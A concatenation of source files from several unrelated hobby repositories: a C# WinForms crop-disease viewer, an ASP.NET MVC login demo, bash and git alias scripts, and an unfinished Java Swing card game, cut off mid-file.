exitToolStripMenuItem_Click_1(object sender, EventArgs e) { if (System.Windows.Forms.Application.MessageLoop) { // WinForms app System.Windows.Forms.Application.Exit(); } else { // Console app System.Environment.Exit(1); } } private void riceLeafToolStripMenuItem_Click(object sender, EventArgs e) { Form2 f2 = new Form2(1); f2.label2.Text = "Wellcome to Rice Analysis"; this.Hide(); f2.ShowDialog(); } private void mungbeanLeafToolStripMenuItem_Click(object sender, EventArgs e) { Form2 f2 = new Form2(1); f2.label2.Text = "Wellcome to Mungbean Analysis"; this.Hide(); f2.ShowDialog(); } private void mungbeanDiseaseDetectionToolStripMenuItem_Click(object sender, EventArgs e) { Form2 f2 = new Form2(); f2.label2.Text = "Wellcome to Mungbean Disease Detection"; this.Hide(); f2.ShowDialog(); } private void bacterialBlightToolStripMenuItem_Click(object sender, EventArgs e) { Form_Disease_Info fdi = new Form_Disease_Info(); fdi.label1.Text = "Bacterial Blight"; fdi.textBox1.Text = "Bacterial blight is a bacterial disease which is caused by bacterium called Xanthomonas oryzae pathovar oryzae.The basic symptom of bacterial blight is the wilting of seedlings and yellowing and drying of leaves."; fdi.pictureBox1.Image = AgRGB.Properties.Resources.BB1; fdi.pictureBox2.Image = AgRGB.Properties.Resources.BB2; fdi.pictureBox3.Image = AgRGB.Properties.Resources.BB3; this.Hide(); fdi.ShowDialog(); } private void brownSpotToolStripMenuItem_Click(object sender, EventArgs e) { Form_Disease_Info fdi = new Form_Disease_Info(); fdi.label1.Text = "Brown Spot"; fdi.textBox1.Text = "Brown Spot is a fungal disease caused by Bipolaris oryzae. The basic symptom is the formation of minute spot on the leaf blade,leaft sheath,etc which later becomes cylindrical or oval dark brown or black spots."; fdi.pictureBox1.Image = AgRGB.Properties.Resources.BS1; fdi.pictureBox2.Image = AgRGB.Properties.Resources.BS2; fdi.pictureBox3.Image = AgRGB.Properties.Resources.BS4; this.Hide(); fdi.ShowDialog(); } private void riceBlastToolStripMenuItem_Click(object sender, EventArgs e) { Form_Disease_Info fdi = new Form_Disease_Info(); fdi.label1.Text = "Rice Blast"; fdi.textBox1.Text = "Blast is a fungal disease which is caused by the fungus called Magnaporthe oryzae. All the parts above the ground can be affected by rice blast. The basic symptom is Diamond - shaped or elliptical or spindle-shaped spots with gray or white centers and brown margins"; fdi.pictureBox1.Image = AgRGB.Properties.Resources.RB4; fdi.pictureBox2.Image = AgRGB.Properties.Resources.RB5; fdi.pictureBox3.Image = AgRGB.Properties.Resources.RB7; this.Hide(); fdi.ShowDialog(); } private void homeToolStripMenuItem1_Click(object sender, EventArgs e) { Form1 f1 = new Form1(); this.Hide(); f1.ShowDialog(); } private void exitToolStripMenuItem1_Click(object sender, EventArgs e) { if (System.Windows.Forms.Application.MessageLoop) { // WinForms app System.Windows.Forms.Application.Exit(); } else { // Console app System.Environment.Exit(1); } } private void pictureBox1_Click(object sender, EventArgs e) { } private void label21_Click(object sender, EventArgs e) { } private void Form3_Load(object sender, EventArgs e) { } private void pictureBox4_Click(object sender, EventArgs e) { } private void label19_Click(object sender, EventArgs e) { } } } <file_sep>/AgRGB/Form1.cs using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace AgRGB { public partial class Form1 : Form { public Form1() { InitializeComponent(); } private void detectionToolStripMenuItem_Click(object sender, EventArgs e) { } private void helpToolStripMenuItem_Click(object sender, EventArgs e) { Form3 f3 = new Form3(); this.Hide(); f3.ShowDialog(); } private void label1_Click(object sender, EventArgs e) { } private void label2_Click(object sender, EventArgs e) { } private void menuStrip1_ItemClicked(object sender, ToolStripItemClickedEventArgs e) { } private void imageAnalysisToolStripMenuItem_Click(object sender, EventArgs e) { } private void openImageToolStripMenuItem_Click(object sender, EventArgs e) { } public void openImageToolStripMenuItem1_Click(object sender, EventArgs e) { } private void leafAnalysisToolStripMenuItem1_Click(object sender, EventArgs e) { } private void riceLeafToolStripMenuItem_Click(object sender, EventArgs e) { Form2 f2 = new Form2(1); f2.label2.Text = "Wellcome to Rice Leaf Analysis"; this.Hide(); f2.ShowDialog(); } private void mungbeanLeafToolStripMenuItem_Click(object sender, EventArgs e) { Form2 f2 = new Form2(3); f2.label2.Text = "Wellcome to Mungbean Analysis"; this.Hide(); f2.ShowDialog(); } private void riceToolStripMenuItem_Click(object sender, EventArgs e) { Form2 f2 = new Form2(1); f2.label2.Text = "Wellcome to Rice Analysis"; this.Hide(); f2.ShowDialog(); } private void mungbeanToolStripMenuItem_Click(object sender, EventArgs e) { Form2 f2 = new Form2(3); f2.label2.Text = "Wellcome to Mungbean Analysis"; this.Hide(); f2.ShowDialog(); } private void riceDiseaseDetectionToolStripMenuItem_Click(object sender, EventArgs e) { Form2 f2 = new Form2(2); f2.label2.Text = "Wellcome to Rice Disease Detection"; this.Hide(); f2.ShowDialog(); } private void mungbeanDiseaseDetectionToolStripMenuItem_Click(object sender, EventArgs e) { Form2 f2 = new Form2(4); f2.label2.Text = "Wellcome to Mungbean Disease Detection"; this.Hide(); f2.ShowDialog(); } private void exitToolStripMenuItem_Click(object sender, EventArgs e) { if (System.Windows.Forms.Application.MessageLoop) { // WinForms app System.Windows.Forms.Application.Exit(); } else { // Console app System.Environment.Exit(1); } } private void helpToolStripMenuItem1_Click(object sender, EventArgs e) { Form3 f3 = new Form3(); this.Hide(); f3.ShowDialog(); } private void riceToolStripMenuItem1_Click(object sender, EventArgs e) { } private void homeToolStripMenuItem_Click(object sender, EventArgs e) { } private void riceToolStripMenuItem2_Click(object sender, EventArgs e) { } private void bacterialBlightToolStripMenuItem_Click(object sender, EventArgs e) { Form_Disease_Info fdi = new Form_Disease_Info(); fdi.label1.Text = "Bacterial Blight"; fdi.textBox1.Text = "Bacterial blight is a bacterial disease which is caused by bacterium called Xanthomonas oryzae pathovar oryzae.The basic symptom of bacterial blight is the wilting of seedlings and yellowing and drying of leaves."; fdi.pictureBox1.Image = AgRGB.Properties.Resources.BB1; fdi.pictureBox2.Image = AgRGB.Properties.Resources.BB2; fdi.pictureBox3.Image = AgRGB.Properties.Resources.BB3; this.Hide(); fdi.ShowDialog(); } private void brownSpotToolStripMenuItem_Click(object sender, EventArgs e) { Form_Disease_Info fdi = new Form_Disease_Info(); fdi.label1.Text = "Brown Spot"; fdi.textBox1.Text = "Brown Spot is a fungal disease caused by Bipolaris oryzae. The basic symptom is the formation of minute spot on the leaf blade,leaft sheath,etc which later becomes cylindrical or oval dark brown or black spots."; fdi.pictureBox1.Image = AgRGB.Properties.Resources.BS1; fdi.pictureBox2.Image = AgRGB.Properties.Resources.BS2; fdi.pictureBox3.Image = AgRGB.Properties.Resources.BS4; this.Hide(); fdi.ShowDialog(); } private void riceBlastToolStripMenuItem_Click(object sender, EventArgs e) { Form_Disease_Info fdi = new Form_Disease_Info(); fdi.label1.Text = "Rice Blast"; fdi.textBox1.Text = "Blast is a fungal disease which is caused by the fungus called Magnaporthe oryzae. All the parts above the ground can be affected by rice blast. The basic symptom is Diamond - shaped or elliptical or spindle-shaped spots with gray or white centers and brown margins"; fdi.pictureBox1.Image = AgRGB.Properties.Resources.RB4; fdi.pictureBox2.Image = AgRGB.Properties.Resources.RB5; fdi.pictureBox3.Image = AgRGB.Properties.Resources.RB7; this.Hide(); fdi.ShowDialog(); } private void diseaseDetectionToolStripMenuItem_Click(object sender, EventArgs e) { } private void bacterialBlightToolStripMenuItem1_Click(object sender, EventArgs e) { Form_Disease_Info fdi = new Form_Disease_Info(); fdi.label1.Text = "Bacterial Blight"; fdi.textBox1.Text = "Bacterial blight is a bacterial disease which is caused by bacterium called Xanthomonas oryzae pathovar oryzae.The basic symptom of bacterial blight is the wilting of seedlings and yellowing and drying of leaves."; fdi.pictureBox1.Image = AgRGB.Properties.Resources.BB1; fdi.pictureBox2.Image = AgRGB.Properties.Resources.BB2; fdi.pictureBox3.Image = AgRGB.Properties.Resources.BB3; this.Hide(); fdi.ShowDialog(); } private void brownSpotToolStripMenuItem1_Click(object sender, EventArgs e) { Form_Disease_Info fdi = new Form_Disease_Info(); fdi.label1.Text = "Brown Spot"; fdi.textBox1.Text = "Brown Spot is a fungal disease caused by Bipolaris oryzae. The basic symptom is the formation of minute spot on the leaf blade,leaft sheath,etc which later becomes cylindrical or oval dark brown or black spots."; fdi.pictureBox1.Image = AgRGB.Properties.Resources.BS1; fdi.pictureBox2.Image = AgRGB.Properties.Resources.BS2; fdi.pictureBox3.Image = AgRGB.Properties.Resources.BS4; this.Hide(); fdi.ShowDialog(); } private void riceBlastToolStripMenuItem1_Click(object sender, EventArgs e) { Form_Disease_Info fdi = new Form_Disease_Info(); fdi.label1.Text = "Rice Blast"; fdi.textBox1.Text = "Blast is a fungal disease which is caused by the fungus called Magnaporthe oryzae. All the parts above the ground can be affected by rice blast. The basic symptom is Diamond - shaped or elliptical or spindle-shaped spots with gray or white centers and brown margins"; fdi.pictureBox1.Image = AgRGB.Properties.Resources.RB4; fdi.pictureBox2.Image = AgRGB.Properties.Resources.RB5; fdi.pictureBox3.Image = AgRGB.Properties.Resources.RB7; this.Hide(); fdi.ShowDialog(); } private void exitToolStripMenuItem1_Click(object sender, EventArgs e) { if (System.Windows.Forms.Application.MessageLoop) { // WinForms app System.Windows.Forms.Application.Exit(); } else { // Console app System.Environment.Exit(1); } } private void Form1_Load(object sender, EventArgs e) { } private void label3_Click(object sender, EventArgs e) { } private void label7_Click(object sender, EventArgs e) { } private void label6_Click(object sender, EventArgs e) { } private void mungbeanToolStripMenuItem1_Click(object sender, EventArgs e) { } private void riceLeafToolStripMenuItem1_Click(object sender, EventArgs e) { Form2 f2 = new Form2(1); f2.label2.Text = "Wellcome to Rice Image Analysis"; this.Hide(); f2.ShowDialog(); } private void mungbeanLeafToolStripMenuItem1_Click(object sender, EventArgs e) { Form2 f2 = new Form2(3); f2.label2.Text = "Wellcome to Mungbean Image Analysis"; this.Hide(); f2.ShowDialog(); } } }
c76513bf0489a08e69c286769d81e123c2ab9092
[ "C#" ]
4
C#
sudiptob2/AgRGB
800aae46d053a87273809ea0f26e7ee68eed2980
888d8063414b94135d0c68971195865863775c0d
refs/heads/master
<repo_name>Vearol/log-in_page<file_sep>/LogInPage/LogInPage/Migrations/Controllers/AccountsController.cs using LogInPage.Models; using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Web.Mvc; namespace LogInPage.Controllers { public class AccountsController : Controller { private AccountDbContext db = new AccountDbContext(); // GET: Accounts public ActionResult Index() { return View(db.Accounts); } public ActionResult Create() { return View(); } [HttpPost] public ActionResult Create(Account newAccount) { if (ModelState.IsValid) { newAccount.Comment = "General comment"; newAccount.Date = DateTime.Now; db.Accounts.Add(newAccount); db.SaveChanges(); return RedirectToAction("Index"); } else { return View(newAccount); } } } }<file_sep>/LogInPage/LogInPage/Models/Account.cs using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Data.Entity; namespace LogInPage.Models { public class Account { public int ID { get; set; } public string Name { get; set; } public string Email { get; set; } public string Comment { get; set; } public DateTime Date { get; set; } } public class AccountDbContext : DbContext { public DbSet<Account> Accounts { get; set; } } } <file_sep>/LogInPage/LogInPage/Migrations/Configuration.cs namespace LogInPage.Migrations { using Models; using System; using System.Data.Entity; using System.Data.Entity.Migrations; using System.Linq; internal sealed class Configuration : DbMigrationsConfiguration<LogInPage.Models.AccountDbContext> { public Configuration() { AutomaticMigrationsEnabled = false; } protected override void Seed(LogInPage.Models.AccountDbContext context) { context.Accounts.AddOrUpdate(i => i.ID, new Account { Email = "a@a", Name = "JohnSmith0", Comment = "Hi", Date = DateTime.Parse("2016-10-23") }, new Account { Email = "b@a", Name = "JohnSnow", Comment = "fdhgkjfdhg", Date = DateTime.Parse("2016-10-23") } ); } } }
fcc23106b748c4b2166b3e12035eb7abe4caf42b
[ "C#" ]
3
C#
Vearol/log-in_page
53c74b38fd9ea0ee3555b414d6407eaf9429b616
be277d544395a89df7e184c974b9c9b36efeb648
refs/heads/master
<file_sep>#************************** general aliases *************************** alias sdn='sudo shutdown now' alias c='clear' alias explorer='xdg-open' alias ll='ls -alF' alias la='ls -A' alias l='ls -CF' alias h='history' alias hg='history | grep' alias d='docker' alias dc='docker-compose' # Runs last instance of the command in the history that starts with the given args function hgr() { command=$(history | tail -n +2 | grep "$*" | grep -v hgr | grep -v hg | awk '{$1=""}1' | tail -n 1) echo "$command" $command } # Find process IDs by name function process() { ps -ef | awk -v search="$1" ' /^UID/ { print $0 } { if ($8 ~ search) print $0 }' } function mcd() { mkdir $1 cd $1 } # Run the last command in the history with `sudo` function ensudo() { command=$(history | tail -n 2 | head -n 1 | awk '{$1=""}1') echo "sudo$command" sudo $command } # **************************** git aliases ***************************** alias gs='git status' alias gt='git tree' alias ga='git add' alias gc='git commit -m' alias gca='git commit --amend --no-edit' alias gsum='git summary' function gp() { branch=$(git branch --show-current) echo "Push to $branch" git push origin "$branch" "$@" } function gpf() { branch=$(git branch --show-current) echo "Push to $branch (FORCED)" git push origin "$branch" --force "$@" } function gsquash() { if [ -z "$1" ]; then echo "Please provide a commit message for squashed commit." return fi if [ -n "$(git status -s)" ]; then echo "Working tree is not clean! Commit then squash." return fi if [ "$(git log master..HEAD | wc -l)" -ne "$(git log master...HEAD | wc -l)" ]; then echo "Master has diverged! Rebase and squash again." return fi messages=$(git log master..HEAD --format=%B | awk '/^\\\* .+/{print $0} /^\\\*?[[:alnum:]]+/{print "* "$0}') git reset master --soft git add -A git commit -m "$1" -m "$messages" } function gprune() { for remote in $(git remote); do git remote prune "$remote" done for branch in $(git branch | grep -vE "\\\* .*"); do remote=$(git branch --remote | grep "$branch\\\$") if [ -n "$remote" ]; then continue; fi if [ "$1" == "-f" ]; then git branch -D "$branch" else git branch -d "$branch" fi done } # ************************* virtualenv aliases ************************* function virtualenv() { if [ $# -eq 0 ]; then echo "Usage: virtualenv [-v <python version>] ENV_DIR" return 0 fi VERSION=3 while [ $# -gt 0 ]; do key="$1" case $key in -v|--version) VERSION="$2" shift shift ;; *) ENV_DIR="$1" shift ;; esac done command="python$VERSION -m venv $ENV_DIR" $command } alias deact='deactivate' # Navigates directories towards the root while looking for the virtualenv passed as parameter. # Activates it if found function activate() { if [ -z $1 ]; then echo -e "Usage: activate <virtualenv_dir_name>" return 0 fi virtualenv_dir="$1" original_dir=$(pwd) current_dir="$original_dir" if [ -d "$virtualenv_dir/bin" ] && ! [ -z "$(ls "$virtualenv_dir/bin" | grep activate)" ]; then found=true else found=false fi while ! $found && [ "$current_dir" != "$HOME" ] && [ "$current_dir" != "/" ]; do cd .. current_dir=$(pwd) echo "$current_dir/$virtualenv_dir" if [ -d "$virtualenv_dir/bin" ] && ! [ -z "$(ls "$virtualenv_dir/bin" | grep activate)" ]; then found=true fi done if $found; then source "$virtualenv_dir/bin/activate" echo "Virtualenv activated" else echo "Virtualenv $virtualenv_dir not found" fi cd "$original_dir" } <file_sep>git config --global alias.s "status" git config --global alias.tree "log --graph --pretty=short --all --decorate" git config --global alias.summary "log --graph --oneline --all --decorate" git config --global merge.conflictstyle diff3 <file_sep>#!/bin/bash lsres=$(ls | grep "manage.py") while [ -z "$lsres" ]; do curr_dir=$(pwd) if [ "$curr_dir" == "$HOME" ] then exit fi cd .. lsres=$(ls | grep "manage.py") done python3 manage.py $1 <file_sep>#!/bin/bash if [ -f "git_aliases.sh" ]; then chmod +x git_aliases.sh ./git_aliases.sh fi if [ -f "bash_aliases" ]; then while read line; do if [[ "$line" == \#* ]]; then continue fi echo "$line" done < bash_aliases fi
0a916874b1bacbc685ac7063437b922c683fd18b
[ "Shell" ]
4
Shell
perepinol/aliases
cf680dc5d38137375bb849f6cf5f173266312cf7
d363d33dbd5462bcbfcf8f3bafa8b25eb2c06908
refs/heads/master
<repo_name>ass0160/YugihMagic-Theta<file_sep>/src/visao/MenuLogado.java package visao; import java.awt.BorderLayout; import java.awt.EventQueue; import javax.swing.JFrame; import javax.swing.JPanel; import javax.swing.border.EmptyBorder; import java.awt.GridLayout; import javax.swing.JButton; import javax.swing.JLabel; import com.jgoodies.forms.layout.FormLayout; import com.jgoodies.forms.layout.ColumnSpec; import com.jgoodies.forms.factories.FormFactory; import com.jgoodies.forms.layout.RowSpec; import net.miginfocom.swing.MigLayout; import javax.swing.border.MatteBorder; import java.awt.Color; import java.awt.SystemColor; import java.awt.event.ActionListener; import java.awt.event.ActionEvent; import java.awt.Font; public class MenuLogado extends JFrame { private JPanel contentPane; private String nomeUsuario; private JLabel lblLogadoCom; private VisualizaAcervo v_Acervo; private ConcectarPartida conectP; private CriarPartida criarP; public static void main(String[] args) { EventQueue.invokeLater(new Runnable() { public void run() { try { MenuLogado frame = new MenuLogado(); frame.setVisible(true); } catch (Exception e) { e.printStackTrace(); } } }); } /** * Create the frame. */ public MenuLogado() { setResizable(false); v_Acervo = new VisualizaAcervo(); v_Acervo.setLocationRelativeTo(this); conectP = new ConcectarPartida(); conectP.setLocationRelativeTo(this); criarP = new CriarPartida(); criarP.setLocationRelativeTo(this); setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); setBounds(100, 100, 531, 335); contentPane = new JPanel(); contentPane.setBackground(Color.DARK_GRAY); contentPane.setBorder(new EmptyBorder(5, 5, 5, 5)); setContentPane(contentPane); contentPane.setLayout(null); JPanel panel = new JPanel(); panel.setBackground(Color.DARK_GRAY); panel.setBorder(new MatteBorder(1, 1, 1, 1, (Color) Color.LIGHT_GRAY)); panel.setBounds(16, 56, 503, 209); contentPane.add(panel); panel.setLayout(null); JButton btnConectarPartida = new JButton("Conectar Partida"); btnConectarPartida.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { conectP.setVisible(true); } }); btnConectarPartida.setBounds(16, 16, 155, 87); panel.add(btnConectarPartida); JButton btnNewButton = new JButton("Criar Partida"); btnNewButton.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { criarP.setVisible(true); } }); btnNewButton.setBounds(175, 16, 152, 87); panel.add(btnNewButton); JLabel label_2 = new JLabel(""); label_2.setBounds(456, 16, 0, 87); panel.add(label_2); JLabel label_3 = new JLabel(""); label_3.setBounds(464, 16, 0, 87); panel.add(label_3); JButton btnVisualisarBaralho = new JButton("Visualisar Baralho"); btnVisualisarBaralho.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { } }); btnVisualisarBaralho.setBounds(16, 107, 155, 86); panel.add(btnVisualisarBaralho); JButton btnVisualisarAcervo = new JButton("Visualisar Acervo"); btnVisualisarAcervo.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { v_Acervo.setVisible(true); v_Acervo.atualizarCarta(); v_Acervo.setIni(); } }); btnVisualisarAcervo.setBounds(175, 107, 152, 86); panel.add(btnVisualisarAcervo); JButton button = new JButton("Editar Baralho"); button.setBounds(334, 16, 152, 87); panel.add(button); JButton btnSair = new JButton("Sair"); btnSair.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { System.exit(EXIT_ON_CLOSE); } }); btnSair.setBounds(334, 107, 152, 86); panel.add(btnSair); JPanel panel_1 = new JPanel(); panel_1.setBackground(Color.ORANGE); panel_1.setBounds(16, 43, 503, 230); contentPane.add(panel_1); lblLogadoCom = new JLabel("Logado com:"); lblLogadoCom.setFont(new Font("Helvetica", Font.PLAIN, 13)); lblLogadoCom.setForeground(Color.ORANGE); lblLogadoCom.setBackground(Color.DARK_GRAY); lblLogadoCom.setBounds(365, 15, 154, 16); contentPane.add(lblLogadoCom); JLabel lblYugimagic = new JLabel("YugiMagic"); lblYugimagic.setFont(new Font("Helvetica", Font.BOLD, 18)); lblYugimagic.setForeground(Color.ORANGE); lblYugimagic.setBackground(Color.DARK_GRAY); lblYugimagic.setBounds(16, 15, 154, 19); contentPane.add(lblYugimagic); } public void setUser(String user) { nomeUsuario = user; lblLogadoCom.setText(lblLogadoCom.getText() + nomeUsuario); } public VisualizaAcervo getV_Acervo() { return v_Acervo; } } <file_sep>/src/modelo/ValidadorDeBaralho.java package modelo; import modelo.cartas.Carta; public class ValidadorDeBaralho { public boolean verificarLimitesCartas(Deck baralho, Carta cartaComparada, int maxCartasRepetidas) { Carta cartaAtual; int numeroRepeticoes = 0; for (int i = 0; i < baralho.tamanho(); i++) { cartaAtual = baralho.pegarCarta(i); if (comparaCarta(cartaAtual, cartaComparada)) numeroRepeticoes++; } if (numeroRepeticoes < maxCartasRepetidas || baralho.tamanho() == 0 ) return true; return false; } public boolean verificarTotalBaralho(Deck baralho, int limitMax, int limiteMin) { if (limiteMin <= baralho.tamanho() && baralho.tamanho() < limitMax) { return true; } return false; } private boolean comparaCarta(Carta c1, Carta c2) { return c1.equals(c2); } } <file_sep>/src/visao/VisualizaAcervo.java package visao; import java.awt.BorderLayout; import java.awt.Component; import java.awt.EventQueue; import javax.swing.ImageIcon; import javax.swing.JFrame; import javax.swing.JPanel; import javax.swing.border.EmptyBorder; import java.awt.Color; import javax.swing.JSlider; import java.awt.FlowLayout; import javax.swing.border.MatteBorder; import javax.swing.JTextField; import javax.swing.BoxLayout; import modelo.Acervo; import modelo.AcervoGenerico; import modelo.Tipo; import modelo.cartas.Carta; import java.awt.SystemColor; import javax.swing.JTextArea; import java.awt.Font; import javax.swing.JButton; import java.awt.event.ActionListener; import java.awt.event.ActionEvent; import java.io.File; import javax.swing.event.ChangeListener; import javax.swing.event.ChangeEvent; import javax.swing.JLabel; import javax.swing.border.BevelBorder; public class VisualizaAcervo extends JFrame { private JPanel contentPane; private AcervoGenerico acervo; private final static String newline = "\n"; private JTextArea textArea; private int cardPos = 0; private JSlider slider; private JLabel cardNumberDisplay; private ImageIcon image1,image2,image3,image4; private JLabel monsterLabel,magicLabel,enchantLabel,artefactLabel; boolean inicializou = false; public static void main(String[] args) { EventQueue.invokeLater(new Runnable() { public void run() { try { VisualizaAcervo frame = new VisualizaAcervo(); frame.setVisible(true); } catch (Exception e) { e.printStackTrace(); } } }); } /** * Create the frame. */ public VisualizaAcervo() { setResizable(false); setBounds(100, 100, 610, 423); contentPane = new JPanel(); contentPane.setBackground(Color.DARK_GRAY); contentPane.setBorder(new EmptyBorder(5, 5, 5, 5)); setContentPane(contentPane); contentPane.setLayout(null); JPanel panel = new JPanel(); panel.setBackground(Color.LIGHT_GRAY); panel.setBounds(6, 18, 598, 277); contentPane.add(panel); panel.setLayout(null); JPanel panel_1 = new JPanel(); panel_1.setBounds(120, 5, 351, 266); panel_1.setBorder(new MatteBorder(2, 2, 2, 2, (Color) new Color(255, 215, 0))); panel.add(panel_1); panel_1.setLayout(null); textArea = new JTextArea(); textArea.setBounds(2, 163, 347, 101); textArea.setForeground(SystemColor.window); textArea.setBackground(Color.DARK_GRAY); textArea.setEditable(false); textArea.setFont(new Font("Helvetica", Font.BOLD, 16)); panel_1.add(textArea); JPanel panel_4 = new JPanel(); panel_4.setBorder(new EmptyBorder(0, 0, 0, 0)); panel_4.setBackground(Color.BLACK); panel_4.setBounds(2, 3, 347, 159); panel_1.add(panel_4); JPanel panel_5 = new JPanel(); panel_5.setBounds(42, 70, 1, 100); panel.add(panel_5); JPanel panel_6 = new JPanel(); panel_6.setBounds(55, 70, 1, 100); panel.add(panel_6); JPanel panel_7 = new JPanel(); panel_7.setBounds(68, 70, 1, 100); panel.add(panel_7); JPanel panel_8 = new JPanel(); panel_8.setBounds(520, 70, 1, 100); panel.add(panel_8); JPanel panel_9 = new JPanel(); panel_9.setBounds(533, 70, 1, 100); panel.add(panel_9); JPanel panel_10 = new JPanel(); panel_10.setBounds(546, 70, 1, 100); panel.add(panel_10); String path = new File("src/imagens/dragonMonster.jpg").getAbsolutePath(); image1 = new ImageIcon(path); path = path = new File("src/imagens/magicBook.jpg").getAbsolutePath(); image2 = new ImageIcon(path); path = path = new File("src/imagens/artefato.jpg").getAbsolutePath(); image3 = new ImageIcon(path); path = path = new File("src/imagens/encantamento.jpg").getAbsolutePath(); image4 = new ImageIcon(path); panel_4.setLayout(new BoxLayout(panel_4, BoxLayout.X_AXIS)); monsterLabel = new JLabel(image1); magicLabel = new JLabel(image2); artefactLabel = new JLabel(image3); enchantLabel = new JLabel(image4); panel_4.add(monsterLabel); panel_4.add(magicLabel); panel_4.add(artefactLabel); panel_4.add(enchantLabel); JButton btnNewButton = new JButton("<<"); btnNewButton.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { if (cardPos > 0) { cardPos--; atualizarCarta(); } } }); btnNewButton.setBounds(80, 335, 117, 29); contentPane.add(btnNewButton); JButton btnNewButton_1 = new JButton(">>"); btnNewButton_1.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { if (cardPos <acervo.mostrarTodasAsCartas().size()-1) { cardPos++; atualizarCarta(); } } }); btnNewButton_1.setBounds(409, 335, 117, 29); contentPane.add(btnNewButton_1); slider = new JSlider(); slider.addChangeListener(new ChangeListener() { public void stateChanged(ChangeEvent e) { if(inicializou){ cardPos = slider.getValue(); atualizarCarta(); } } }); slider.setMaximum(0); slider.setValue(0); slider.setBounds(205, 335, 197, 29); contentPane.add(slider); JPanel panel_2 = new JPanel(); panel_2.setBorder(new MatteBorder(1, 1, 1, 1, (Color) Color.ORANGE)); panel_2.setBounds(290, 310, 25, 21); contentPane.add(panel_2); cardNumberDisplay = new JLabel("0"); panel_2.add(cardNumberDisplay); JPanel panel_3 = new JPanel(); panel_3.setBackground(Color.ORANGE); panel_3.setBounds(6, 295, 598, 5); contentPane.add(panel_3); acervo = Acervo.instancia(); } public void atualizarCarta() { Carta a = acervo.mostrarTodasAsCartas().get(cardPos); //Carta b = acervo.mostrarTodasAsCartas().get(cardPos + 1); textArea.setText(newline + a.toString()); //textArea_1.setText(newline + newline + newline + b.toString()); slider.setValue(cardPos); cardNumberDisplay.setText(cardPos+""); setImage(a.retornarTipo()); } public void setImage(Tipo tipo){ switch (tipo) { case MONSTRO: monsterLabel.setVisible(true); magicLabel.setVisible(false); artefactLabel.setVisible(false); enchantLabel.setVisible(false); break; case MAGIA: monsterLabel.setVisible(false); magicLabel.setVisible(true); artefactLabel.setVisible(false); enchantLabel.setVisible(false); break; case ENCANTAMENTO: monsterLabel.setVisible(false); magicLabel.setVisible(false); artefactLabel.setVisible(false); enchantLabel.setVisible(true); break; case ATRIBUTO: monsterLabel.setVisible(false); magicLabel.setVisible(false); artefactLabel.setVisible(true); enchantLabel.setVisible(false); break; default: break; } } public void setIni(){ inicializou = true; int maxAcervo = (acervo.mostrarTodasAsCartas().size())-1; slider.setMaximum(maxAcervo); } } <file_sep>/src/modelo/Baralho.java package modelo; import java.util.Collections; import java.util.List; import java.util.Stack; import modelo.cartas.Carta; public class Baralho implements Deck { private static int MAX_TAMANHO = 60, MIN_TAMANHO = 5, MAX_REPETIDAS = 2; private Stack<Carta> cartasDoBaralho; private ValidadorDeBaralho validador; public Baralho() { cartasDoBaralho = new Stack<Carta>(); validador = new ValidadorDeBaralho(); } public void embaralhar() { Collections.shuffle(cartasDoBaralho); } public void adicionarCarta(Carta carta) { if (validador.verificarLimitesCartas(this, carta, MAX_REPETIDAS) && tamanho() < MAX_TAMANHO) cartasDoBaralho.add(carta); } public void removerCarta(Carta carta) { if (tamanho() > MIN_TAMANHO) { int pos = cartasDoBaralho.search(carta); cartasDoBaralho.remove(pos); } } /* * Troquei esse metodo na superclasse acho que fica melhor para o baralho * receber já as cartas selecionadas para gera-lo e verificar se é valido */ public boolean gerarBaralho(List<Carta> cartasSelecionadas) { Stack<Carta> aux = cartasDoBaralho; for (int i = 0; i < cartasSelecionadas.size(); i++) adicionarCarta(cartasSelecionadas.get(i)); if (!validarBaralho()) { cartasDoBaralho = aux; return false; } return true; } public boolean validarBaralho() { if (validador.verificarTotalBaralho(this, MAX_TAMANHO, MIN_TAMANHO)) return true; return false; } public int tamanho() { return cartasDoBaralho.size(); } public Carta pegarCarta(int pos) { return cartasDoBaralho.get(pos); } public Carta pegarCarta(String nome, Tipo tipo) { for (Carta carta : cartasDoBaralho) { if (carta.retornarNome().compareToIgnoreCase(nome) == 0 && carta.retornarTipo().compareTo(tipo) == 0) return carta; } return null; } } <file_sep>/src/modelo/cartas/Monstro.java package modelo.cartas; import modelo.DanoGenerico; import modelo.Tipo; import modelo.VidaGenerica; public class Monstro extends Carta { private DanoGenerico dano; private VidaGenerica vida; public Monstro(String nome, String descricao, String caracteristica, String poder) { this.nome = nome; this.descricao = descricao; this.caracteristicaEspecial = caracteristica; this.poder = poder; tipoDeCarta = Tipo.MONSTRO; } } <file_sep>/src/modelo/Conector.java package modelo; import java.io.InputStream; import java.io.ObjectOutputStream; import java.net.Socket; public class Conector implements Hoster{ private InputStream in; private Socket soc; private ObjectOutputStream out; public Conector() { } public void tentarConexao(String ip, int porta) { } public void enviarUsuarioParaServidor(Usuario usuario) { } public void atualizarDados() { } @Override public Partida criarPartida(String ip, int porta) { return null; } } <file_sep>/src/visao/Logar.java package visao; import java.awt.BorderLayout; import java.awt.EventQueue; import javax.swing.JFrame; import javax.swing.JOptionPane; import javax.swing.JPanel; import javax.swing.JPasswordField; import javax.swing.border.EmptyBorder; import javax.swing.JTextField; import javax.swing.JLabel; import java.awt.Font; import java.awt.Color; import javax.swing.JButton; import javax.swing.border.MatteBorder; import modelo.Observado; import modelo.Observador; import java.awt.SystemColor; import java.awt.event.ActionListener; import java.awt.event.ActionEvent; import java.util.ArrayList; import java.util.List; import java.awt.event.KeyAdapter; import java.awt.event.KeyEvent; public class Logar extends JFrame implements Observado, Observador { private MenuLogado menuLog; private JPanel contentPane; private JTextField textFieldNome; private JPasswordField textFieldSenha; private MenuPrincipal menuprincipal; public String nome, senha; private List<Observador> observadores; public Logar() { observadores = new ArrayList<Observador>(); setTitle("Logar"); setBounds(100, 100, 450, 300); contentPane = new JPanel(); contentPane.setBorder(new 